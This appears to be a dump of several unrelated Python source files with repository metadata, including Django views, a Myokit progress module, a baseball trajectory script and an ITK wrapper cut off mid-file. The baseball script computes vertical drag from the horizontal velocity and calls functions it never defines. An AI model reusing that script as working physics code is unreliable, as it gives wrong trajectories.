from django.contrib.auth.decorators import login_required from django.http import HttpResponse from django.shortcuts import render, get_object_or_404, redirect from django.http import Http404 from django.urls import reverse from .forms import CustomUserForm from .models import CustomUser, IpUsers def index(request): return HttpResponse("You're at the polls index. Section in development") def profile(request, profile_id): try: profile = CustomUser.objects.get(pk=profile_id) except CustomUser.DoesNotExist: raise Http404("Profile does not exist") return render(request, 'profile/profile.html', {'profile': profile, 'edit': reverse('edit')}) @login_required def edit_profile(request): profile_obj = request.user if request.method == "POST": form = CustomUserForm(request.POST, instance=profile_obj) if form.is_valid(): post = form.save(commit=False) ip = request.META.get('REMOTE_ADDR', '') or request.META.get('HTTP_X_FORWARDED_FOR', '') userIp = IpUsers(user=post, ip=ip) userIp.save() post.save() return redirect('profile', profile_id=profile_obj.pk) else: form = CustomUserForm(instance=profile_obj) return render(request, 'profile/edit.html', {'form': form}) def home(request): user = request.user if user.is_authenticated: return redirect('profile', profile_id=user.pk) else: return redirect('login')
[ "nikita@novikoff.pp.ua" ]
nikita@novikoff.pp.ua
4223f5fc882d4296ccb2e417549c8e1239b28d2d
429dbe6fdbabe69951f00475a790ab33bafa5dfb
/Myokit/MyokitHearSimulation/env/lib/python3.7/site-packages/myokit/_progress.py
ab159d0e6608ad6703c37c8be7fe43b32a86f163
[]
no_license
bopopescu/Project-Design-and-Implementation
f476b3a34a40563613181eba4e62cec52c3a9ab5
cea0c19d5dfa238b1725957cbb2922f1377a9b5a
refs/heads/master
2022-11-17T18:52:30.521294
2019-07-30T20:38:56
2019-07-30T20:38:56
281,189,781
0
0
null
2020-07-20T17:59:59
2020-07-20T17:59:58
null
UTF-8
Python
false
false
5,106
py
# # Contains classes for progress reporting during long operations. # # This file is part of Myokit # Copyright 2011-2018 Maastricht University, University of Oxford # Licensed under the GNU General Public License v3.0 # See: http://myokit.org # from __future__ import absolute_import, division from __future__ import print_function, unicode_literals import timeit import sys import myokit class ProgressReporter(object): """ Interface for progress updates in Simulations. Also allows some job types to be cancelled by the user. Many simulation types take an argument ``progress`` that can be used to pass in an object implementing this interface. The simulation will use this object to report on its progress. Note that progress reporters should be re-usable, but the behaviour when making calls to a reporter from two different processes (either through multi-threading/multi-processing or jobs nested within jobs) is undefined. An optional description of the job to run can be passed in at construction time as ``msg``. """ def __init__(self, msg=None): # If any output should be written, write it here self._output_stream = sys.stdout def enter(self, msg=None): """ This method will be called when the job that provides progress updates is started. An optional description of the job to run can be passed in at construction time as ``msg``. """ pass def exit(self): """ Called when a job is finished and the progress reports should stop. """ pass def job(self, msg=None): """ Returns a context manager that will enter and exit this ProgressReporter using the ``with`` statement. """ return ProgressReporter._Job(self, msg) def update(self, progress): """ This method will be called to provides updates about the current progress. This is indicated using the floating point value ``progress``, which will have a value in the range ``[0, 1]``. The return value of this update can be used to cancel a job (if job type supports it). Return ``True`` to keep going, ``False`` to cancel the job. """ pass def _set_output_stream(self, stream): """ Set an output stream to use, for reporters that want to write to stdout but bypass any capturing mechanisms. """ self._output_stream = stream class _Job(object): def __init__(self, parent, msg): self._parent = parent self._msg = msg def __enter__(self): self._parent.enter(self._msg) def __exit__(self, type, value, traceback): self._parent.exit() class ProgressPrinter(ProgressReporter): """ Writes progress information to stdout, can be used during a simulation. For example:: m, p, x = myokit.load('example') s = myokit.Simulation(m, p) w = myokit.ProgressPrinter(digits=1) d = s.run(10000, progress=w) This will print strings like:: [8.9 minutes] 71.7 % done, estimated 4.2 minutes remaining To ``stdout`` during the simulation. Output is only written if the new percentage done differs from the old one, in a string format specified by the number of ``digits`` to display. The ``digits`` parameter accepts the special value ``-1`` to only print out a status every ten percent. """ def __init__(self, digits=1): super(ProgressPrinter, self).__init__() self._b = myokit.Benchmarker() self._f = None self._d = int(digits) def enter(self, msg=None): # Reset self._b.reset() self._f = None def update(self, f): """ See: :meth:`ProgressReporter.update()`. """ if self._d < 0: f = 10 * int(10 * f) else: f = round(100 * f, self._d) if f != self._f: self._f = f t = self._b.time() if f > 0: p = t * (100 / f - 1) if p > 60: p = str(round(p / 60, 1)) p = ', estimated ' + p + ' minutes remaining' else: p = str(int(round(p, 0))) p = ', estimated ' + p + ' seconds remaining' else: p = '' t = str(round(t / 60, 1)) self._output_stream.write( '[' + t + ' minutes] ' + str(f) + ' % done' + p + '\n') self._output_stream.flush() return True class Timeout(ProgressReporter): """ Progress reporter that cancels a simulation after ``timeout`` seconds. """ def __init__(self, timeout): super(Timeout, self).__init__() self._timeout = float(timeout) def enter(self, msg=None): self._max_time = timeit.default_timer() + self._timeout def update(self, progress): return timeit.default_timer() < self._max_time
[ "yid164@mail.usask.ca" ]
yid164@mail.usask.ca
e2f2f54ee6bccba72c0171950d6e10e9c19c5da0
b70f1eee3cbf42f7342d3ad3be58e20aa9082b65
/problem2_18_1.py
7f65ab589d266d42cee248a008a9f75f19ba27e0
[]
no_license
suryansh2020/drakepy
a9ae8dc27806835c338d13b38bae8026d849b2f4
0e2a7409f80162524b4496b896673cbb0c6e0183
refs/heads/master
2021-01-20T02:42:47.484685
2010-06-10T13:37:58
2010-06-10T13:37:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,411
py
def problem2_18(): from math import * ## Input print "A baseball hit from a bat in air with varying air pressure and a crosswind" print "The crosswind is a 10mph crosswind" print "10 mph is 4.4704m/s" print "The depenent variables are the initial velocity vector, decomposed into a speed scalar and a direction," v0 = promptForNumber("Please input the velocity scalar: ") angle = promptForNumber("Please input the angle in degrees between 0 and 90: ") deltat = promptForNumber("Enter value for timestep, deltat: ") ## Precalculations angle = radians(angle) vxinitial = cos(angle)*v0 vyinitial = sin(angle)*v0 vzinitial = 0 # Initialize Arrays x = [0] y = [0] z = [0] vx = [vxinitial] vy = [vyinitial] vz = [vzinitial] i = 0 ## Extend Arrays while y[i] >= 0: x.append(x[i] + (vx[i]*deltat)) y.append(y[i] + (vy[i]*deltat)) z.append(z[i] + (vz[i]*deltat)) hypotenuseV = sqrt((vx[i]**2) + (vy[i]**2) + (vz[i]**2)) b2m = 0.0039 + 0.0058/(1 + exp((hypotenuseV - 35) / 5)) vx.append(vx[i] - ((b2m * hypotenuseV * vx[i])*deltat)) vy.append(vy[i]-(9.8*deltat)- (b2m * hypotenuseV * vx[i])*deltat) vz.append(vz[i] + (4.4704*deltat)) i += 1 ## Graph ion() plot(x,y, 'g+') ylabel('Height') xlabel('Distance') grid(True) distance = x.pop() distancez = z.pop() title('Equation 2_26, totalz range = %f' % distancez) # legend(distance) draw() hold(False)
[ "krum.spencer@gmail.com" ]
krum.spencer@gmail.com
af04626fbf64b19bf1abe99c30b6144727cd2489
51ce07a419abe50f49e7bb6a6c036af291ea2ef5
/3.Algorithm/08. 비트&진수/이진수.py
672c8c01e566a544904cc9057c3b3d923e469569
[]
no_license
salee1023/TIL
c902869e1359246b6dd926166f5ac9209af7b1aa
2905bd331e451673cbbe87a19e658510b4fd47da
refs/heads/master
2023-03-10T09:48:41.377704
2021-02-24T10:47:27
2021-02-24T10:47:27
341,129,838
0
0
null
null
null
null
UTF-8
Python
false
false
332
py
T = int(input()) for tc in range(1, 1+T): N, numbers = input().split() N = int(N) print(f'#{tc} ', end='') for n in range(N): t = format(int(numbers[n], 16), '03b') # if len(t) < 4: # print('0'*(4-len(t)), end='') print(t, end='') print() ''' 3 4 47FE 5 79E12 8 41DA16CD '''
[ "dltmddk1023@gmail.com" ]
dltmddk1023@gmail.com
63a598ddc892cd5cbe109366464ae65200f8b6b3
64d411d5859feb0c94ff5b262c015156e544f200
/MigatteNoGokui/UltraInstinct/UltraInstinct/asgi.py
f8f7e3422c08a9e68053bfe088dc14ce8229953d
[]
no_license
migattenogokui/git-tut
d9b6a9e410d3b1b43bd4e490ba68c60e761eabf4
a991dce6ca3f02afd8bf67823421c6241d9680d5
refs/heads/master
2023-03-20T06:30:13.598661
2021-03-13T14:20:28
2021-03-13T14:20:28
347,340,611
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
""" ASGI config for UltraInstinct project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'UltraInstinct.settings') application = get_asgi_application()
[ "joratdhavtoski@protonmail.com" ]
joratdhavtoski@protonmail.com
83d63cde77ee5b9077e9c4b18c19102b489b45b1
404dafce5a75559cbc13f914fd90ec496ada7ae6
/setup.py
4feeaf55b950ffb64f4a41e184d4a9d6cc5235d8
[ "MIT" ]
permissive
ppinard/django-login-otp
e81e25b77f9bdd2fced90d92a18b65d2d51091c9
ccc40bff874eb752f2ba88b0abd6b68a13c3096f
refs/heads/master
2023-07-10T11:19:14.741196
2021-08-21T10:19:56
2021-08-21T10:19:56
302,738,010
0
0
null
null
null
null
UTF-8
Python
false
false
1,742
py
#!/usr/bin/env python # Standard library modules. from pathlib import Path # Third party modules. from setuptools import setup # Local modules. import versioneer # Globals and constants variables. BASEDIR = Path(__file__).parent.resolve() with open(BASEDIR.joinpath("README.md"), "r") as fp: LONG_DESCRIPTION = fp.read() PACKAGES = ["login_otp", "login_otp.migrations"] PACKAGE_DATA = {"login_otp": ["templates/login_otp/*.html"]} with open(BASEDIR.joinpath("requirements.txt"), "r") as fp: INSTALL_REQUIRES = fp.read().splitlines() EXTRAS_REQUIRE = {} with open(BASEDIR.joinpath("requirements-dev.txt"), "r") as fp: EXTRAS_REQUIRE["dev"] = fp.read().splitlines() with open(BASEDIR.joinpath("requirements-test.txt"), "r") as fp: EXTRAS_REQUIRE["test"] = fp.read().splitlines() CMDCLASS = versioneer.get_cmdclass() ENTRY_POINTS = {} setup( name="django-login-otp", version=versioneer.get_version(), url="https://github.com/ppinard/django-login-otp", author="Philippe Pinard", author_email="philippe.pinard@gmail.com", classifiers=[ "Development Status :: 2 - Pre-Alpha", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", ], description="Login using only OTP token", long_description=LONG_DESCRIPTION, long_description_content_type="text/markdown", license="MIT license", packages=PACKAGES, package_data=PACKAGE_DATA, include_package_data=True, install_requires=INSTALL_REQUIRES, extras_require=EXTRAS_REQUIRE, cmdclass=CMDCLASS, entry_points=ENTRY_POINTS, )
[ "Philippe.PINARD@oxinst.com" ]
Philippe.PINARD@oxinst.com
2d169025b193e12aed0d659dc60d693d4ff91353
b156c2f5ee7417dfa1f6cdcf14e9773a25397544
/GeneVisualization/venv2/Lib/site-packages/itk/itkInPlaceImageFilterAPython.py
4faf0e090f3bfd257e6c260302d98225443a6739
[]
no_license
PinarTurkyilmaz/Vis
1115d9426e9c8eeb5d07949241713d6f58a7721b
4dd4426a70c0bd0a6e405ffe923afee29630aa67
refs/heads/master
2022-11-18T13:16:18.668065
2020-07-06T21:04:10
2020-07-06T21:04:10
226,217,392
0
0
null
null
null
null
UTF-8
Python
false
false
377,610
py
# This file was automatically generated by SWIG (http://www.swig.org). # Version 3.0.8 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (3, 0, 0): new_instancemethod = lambda func, inst, cls: _itkInPlaceImageFilterAPython.SWIG_PyInstanceMethod_New(func) else: from new import instancemethod as new_instancemethod if version_info >= (2, 6, 0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_itkInPlaceImageFilterAPython', [dirname(__file__)]) except ImportError: import _itkInPlaceImageFilterAPython return _itkInPlaceImageFilterAPython if fp is not None: try: _mod = imp.load_module('_itkInPlaceImageFilterAPython', fp, pathname, description) finally: fp.close() return _mod _itkInPlaceImageFilterAPython = swig_import_helper() del swig_import_helper else: import _itkInPlaceImageFilterAPython del version_info try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. def _swig_setattr_nondynamic(self, class_type, name, value, static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name, None) if method: return method(self, value) if (not static): object.__setattr__(self, name, value) else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self, class_type, name, value): return _swig_setattr_nondynamic(self, class_type, name, value, 0) def _swig_getattr_nondynamic(self, class_type, name, static=1): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name, None) if method: return method(self) if (not static): return object.__getattr__(self, name) else: raise AttributeError(name) def _swig_getattr(self, class_type, name): return _swig_getattr_nondynamic(self, class_type, name, 0) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except Exception: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) try: _object = object _newclass = 1 except AttributeError: class _object: pass _newclass = 0 def _swig_setattr_nondynamic_method(set): def set_attr(self, name, value): if (name == "thisown"): return self.this.own(value) if hasattr(self, name) or (name == "this"): set(self, name, value) else: raise AttributeError("You cannot add attributes to %s" % self) return set_attr import itkImageToImageFilterBPython import itkImageSourcePython import itkImageSourceCommonPython import ITKCommonBasePython import pyBasePython import itkImagePython import itkSizePython import itkPointPython import vnl_vector_refPython import vnl_vectorPython import vnl_matrixPython import stdcomplexPython import itkVectorPython import itkFixedArrayPython import itkIndexPython import itkOffsetPython import itkRGBAPixelPython import itkCovariantVectorPython import itkRGBPixelPython import itkMatrixPython import vnl_matrix_fixedPython import itkSymmetricSecondRankTensorPython import itkImageRegionPython import itkVectorImagePython import itkVariableLengthVectorPython import itkImageToImageFilterCommonPython import itkImageToImageFilterAPython def itkInPlaceImageFilterIF3IRGBAUC3_New(): return itkInPlaceImageFilterIF3IRGBAUC3.New() def itkInPlaceImageFilterIF2IRGBAUC2_New(): return itkInPlaceImageFilterIF2IRGBAUC2.New() def itkInPlaceImageFilterIUS3IRGBAUC3_New(): return itkInPlaceImageFilterIUS3IRGBAUC3.New() def itkInPlaceImageFilterIUS2IRGBAUC2_New(): return itkInPlaceImageFilterIUS2IRGBAUC2.New() def itkInPlaceImageFilterIUC3IRGBAUC3_New(): return itkInPlaceImageFilterIUC3IRGBAUC3.New() def itkInPlaceImageFilterIUC2IRGBAUC2_New(): return itkInPlaceImageFilterIUC2IRGBAUC2.New() def itkInPlaceImageFilterISS3IRGBAUC3_New(): return itkInPlaceImageFilterISS3IRGBAUC3.New() def itkInPlaceImageFilterISS2IRGBAUC2_New(): return itkInPlaceImageFilterISS2IRGBAUC2.New() def itkInPlaceImageFilterIUL3IRGBAUC3_New(): return itkInPlaceImageFilterIUL3IRGBAUC3.New() def itkInPlaceImageFilterIUL2IRGBAUC2_New(): return itkInPlaceImageFilterIUL2IRGBAUC2.New() def itkInPlaceImageFilterIRGBAUC3IUC3_New(): return itkInPlaceImageFilterIRGBAUC3IUC3.New() def itkInPlaceImageFilterIRGBAUC2IUC2_New(): return itkInPlaceImageFilterIRGBAUC2IUC2.New() def itkInPlaceImageFilterIRGBAUC3IRGBAUC3_New(): return itkInPlaceImageFilterIRGBAUC3IRGBAUC3.New() def itkInPlaceImageFilterIRGBAUC2IRGBAUC2_New(): return itkInPlaceImageFilterIRGBAUC2IRGBAUC2.New() def itkInPlaceImageFilterIF3IRGBUC3_New(): return itkInPlaceImageFilterIF3IRGBUC3.New() def itkInPlaceImageFilterIF2IRGBUC2_New(): return itkInPlaceImageFilterIF2IRGBUC2.New() def itkInPlaceImageFilterIUS3IRGBUC3_New(): return itkInPlaceImageFilterIUS3IRGBUC3.New() def itkInPlaceImageFilterIUS2IRGBUC2_New(): return itkInPlaceImageFilterIUS2IRGBUC2.New() def itkInPlaceImageFilterIUC3IRGBUC3_New(): return itkInPlaceImageFilterIUC3IRGBUC3.New() def itkInPlaceImageFilterIUC2IRGBUC2_New(): return itkInPlaceImageFilterIUC2IRGBUC2.New() def itkInPlaceImageFilterISS3IRGBUC3_New(): return itkInPlaceImageFilterISS3IRGBUC3.New() def itkInPlaceImageFilterISS2IRGBUC2_New(): return itkInPlaceImageFilterISS2IRGBUC2.New() def itkInPlaceImageFilterIUL3IRGBUC3_New(): return itkInPlaceImageFilterIUL3IRGBUC3.New() def itkInPlaceImageFilterIUL2IRGBUC2_New(): return itkInPlaceImageFilterIUL2IRGBUC2.New() def itkInPlaceImageFilterIRGBUC3IRGBUC3_New(): return itkInPlaceImageFilterIRGBUC3IRGBUC3.New() def itkInPlaceImageFilterIRGBUC2IRGBUC2_New(): return itkInPlaceImageFilterIRGBUC2IRGBUC2.New() def itkInPlaceImageFilterICVF43ICVF43_New(): return itkInPlaceImageFilterICVF43ICVF43.New() def itkInPlaceImageFilterICVF42ICVF42_New(): return itkInPlaceImageFilterICVF42ICVF42.New() def itkInPlaceImageFilterICVF33ICVF33_New(): return itkInPlaceImageFilterICVF33ICVF33.New() def itkInPlaceImageFilterICVF32ICVF32_New(): return itkInPlaceImageFilterICVF32ICVF32.New() def itkInPlaceImageFilterICVF23ICVF23_New(): return itkInPlaceImageFilterICVF23ICVF23.New() def itkInPlaceImageFilterICVF22ICVF22_New(): return itkInPlaceImageFilterICVF22ICVF22.New() def itkInPlaceImageFilterICVF43IVF43_New(): return itkInPlaceImageFilterICVF43IVF43.New() def itkInPlaceImageFilterICVF42IVF42_New(): return itkInPlaceImageFilterICVF42IVF42.New() def itkInPlaceImageFilterICVF33IVF33_New(): return itkInPlaceImageFilterICVF33IVF33.New() def itkInPlaceImageFilterICVF32IVF32_New(): return itkInPlaceImageFilterICVF32IVF32.New() def itkInPlaceImageFilterICVF23IVF23_New(): return itkInPlaceImageFilterICVF23IVF23.New() def itkInPlaceImageFilterICVF22IVF22_New(): return itkInPlaceImageFilterICVF22IVF22.New() def itkInPlaceImageFilterIVF43ICVF43_New(): return itkInPlaceImageFilterIVF43ICVF43.New() def itkInPlaceImageFilterIVF42ICVF42_New(): return itkInPlaceImageFilterIVF42ICVF42.New() def itkInPlaceImageFilterIVF33ICVF33_New(): return itkInPlaceImageFilterIVF33ICVF33.New() def itkInPlaceImageFilterIVF32ICVF32_New(): return itkInPlaceImageFilterIVF32ICVF32.New() def itkInPlaceImageFilterIVF23ICVF23_New(): return itkInPlaceImageFilterIVF23ICVF23.New() def itkInPlaceImageFilterIVF22ICVF22_New(): return itkInPlaceImageFilterIVF22ICVF22.New() def itkInPlaceImageFilterIVF43IVF43_New(): return itkInPlaceImageFilterIVF43IVF43.New() def itkInPlaceImageFilterIVF42IVF42_New(): return itkInPlaceImageFilterIVF42IVF42.New() def itkInPlaceImageFilterIVF33IVF33_New(): return itkInPlaceImageFilterIVF33IVF33.New() def itkInPlaceImageFilterIVF32IVF32_New(): return itkInPlaceImageFilterIVF32IVF32.New() def itkInPlaceImageFilterIVF23IVF23_New(): return itkInPlaceImageFilterIVF23IVF23.New() def itkInPlaceImageFilterIVF22IVF22_New(): return itkInPlaceImageFilterIVF22IVF22.New() def itkInPlaceImageFilterIULL3IUS3_New(): return itkInPlaceImageFilterIULL3IUS3.New() def itkInPlaceImageFilterIULL2IUS2_New(): return itkInPlaceImageFilterIULL2IUS2.New() def itkInPlaceImageFilterIULL3IUC3_New(): return itkInPlaceImageFilterIULL3IUC3.New() def itkInPlaceImageFilterIULL2IUC2_New(): return itkInPlaceImageFilterIULL2IUC2.New() def itkInPlaceImageFilterIULL3ISS3_New(): return itkInPlaceImageFilterIULL3ISS3.New() def itkInPlaceImageFilterIULL2ISS2_New(): return itkInPlaceImageFilterIULL2ISS2.New() def itkInPlaceImageFilterIF3IF3_New(): return itkInPlaceImageFilterIF3IF3.New() def itkInPlaceImageFilterIF2IF2_New(): return itkInPlaceImageFilterIF2IF2.New() def itkInPlaceImageFilterIF3IUS3_New(): return itkInPlaceImageFilterIF3IUS3.New() def itkInPlaceImageFilterIF2IUS2_New(): return itkInPlaceImageFilterIF2IUS2.New() def itkInPlaceImageFilterIF3ISS3_New(): return itkInPlaceImageFilterIF3ISS3.New() def itkInPlaceImageFilterIF2ISS2_New(): return itkInPlaceImageFilterIF2ISS2.New() def itkInPlaceImageFilterIF3IUC3_New(): return itkInPlaceImageFilterIF3IUC3.New() def itkInPlaceImageFilterIF2IUC2_New(): return itkInPlaceImageFilterIF2IUC2.New() def itkInPlaceImageFilterIUS3IF3_New(): return itkInPlaceImageFilterIUS3IF3.New() def itkInPlaceImageFilterIUS2IF2_New(): return itkInPlaceImageFilterIUS2IF2.New() def itkInPlaceImageFilterIUS3IUS3_New(): return itkInPlaceImageFilterIUS3IUS3.New() def itkInPlaceImageFilterIUS2IUS2_New(): return itkInPlaceImageFilterIUS2IUS2.New() def itkInPlaceImageFilterIUS3ISS3_New(): return itkInPlaceImageFilterIUS3ISS3.New() def itkInPlaceImageFilterIUS2ISS2_New(): return itkInPlaceImageFilterIUS2ISS2.New() def itkInPlaceImageFilterIUS3IUC3_New(): return itkInPlaceImageFilterIUS3IUC3.New() def itkInPlaceImageFilterIUS2IUC2_New(): return itkInPlaceImageFilterIUS2IUC2.New() def itkInPlaceImageFilterISS3IF3_New(): return itkInPlaceImageFilterISS3IF3.New() def itkInPlaceImageFilterISS2IF2_New(): return itkInPlaceImageFilterISS2IF2.New() def itkInPlaceImageFilterISS3IUS3_New(): return itkInPlaceImageFilterISS3IUS3.New() def itkInPlaceImageFilterISS2IUS2_New(): return itkInPlaceImageFilterISS2IUS2.New() def itkInPlaceImageFilterISS3ISS3_New(): return itkInPlaceImageFilterISS3ISS3.New() def itkInPlaceImageFilterISS2ISS2_New(): return itkInPlaceImageFilterISS2ISS2.New() def itkInPlaceImageFilterISS3IUC3_New(): return itkInPlaceImageFilterISS3IUC3.New() def itkInPlaceImageFilterISS2IUC2_New(): return itkInPlaceImageFilterISS2IUC2.New() def itkInPlaceImageFilterIUC3IF3_New(): return itkInPlaceImageFilterIUC3IF3.New() def itkInPlaceImageFilterIUC2IF2_New(): return itkInPlaceImageFilterIUC2IF2.New() def itkInPlaceImageFilterIUC3IUS3_New(): return itkInPlaceImageFilterIUC3IUS3.New() def itkInPlaceImageFilterIUC2IUS2_New(): return itkInPlaceImageFilterIUC2IUS2.New() def itkInPlaceImageFilterIUC3ISS3_New(): return itkInPlaceImageFilterIUC3ISS3.New() def itkInPlaceImageFilterIUC2ISS2_New(): return itkInPlaceImageFilterIUC2ISS2.New() def itkInPlaceImageFilterIUC3IUC3_New(): return itkInPlaceImageFilterIUC3IUC3.New() def itkInPlaceImageFilterIUC2IUC2_New(): return itkInPlaceImageFilterIUC2IUC2.New() class itkInPlaceImageFilterICVF22ICVF22(itkImageToImageFilterAPython.itkImageToImageFilterICVF22ICVF22): """Proxy of C++ itkInPlaceImageFilterICVF22ICVF22 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF22ICVF22 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF22ICVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF22ICVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF22ICVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF22ICVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF22ICVF22 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF22ICVF22 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF22ICVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF22ICVF22 Create a new object of the class itkInPlaceImageFilterICVF22ICVF22 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF22ICVF22.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF22ICVF22.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF22ICVF22.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF22ICVF22.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_SetInPlace, None, itkInPlaceImageFilterICVF22ICVF22) itkInPlaceImageFilterICVF22ICVF22.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_GetInPlace, None, itkInPlaceImageFilterICVF22ICVF22) itkInPlaceImageFilterICVF22ICVF22.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_InPlaceOn, None, itkInPlaceImageFilterICVF22ICVF22) itkInPlaceImageFilterICVF22ICVF22.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_InPlaceOff, None, itkInPlaceImageFilterICVF22ICVF22) itkInPlaceImageFilterICVF22ICVF22.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_CanRunInPlace, None, itkInPlaceImageFilterICVF22ICVF22) itkInPlaceImageFilterICVF22ICVF22_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_swigregister itkInPlaceImageFilterICVF22ICVF22_swigregister(itkInPlaceImageFilterICVF22ICVF22) def itkInPlaceImageFilterICVF22ICVF22_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF22ICVF22 *": """itkInPlaceImageFilterICVF22ICVF22_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF22ICVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22ICVF22_cast(obj) class itkInPlaceImageFilterICVF22IVF22(itkImageToImageFilterAPython.itkImageToImageFilterICVF22IVF22): """Proxy of C++ itkInPlaceImageFilterICVF22IVF22 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF22IVF22 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF22IVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF22IVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF22IVF22 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF22IVF22 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF22IVF22 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF22IVF22 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF22IVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF22IVF22 Create a new object of the class itkInPlaceImageFilterICVF22IVF22 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF22IVF22.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF22IVF22.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF22IVF22.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF22IVF22.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_SetInPlace, None, itkInPlaceImageFilterICVF22IVF22) itkInPlaceImageFilterICVF22IVF22.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_GetInPlace, None, itkInPlaceImageFilterICVF22IVF22) itkInPlaceImageFilterICVF22IVF22.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_InPlaceOn, None, itkInPlaceImageFilterICVF22IVF22) itkInPlaceImageFilterICVF22IVF22.InPlaceOff = 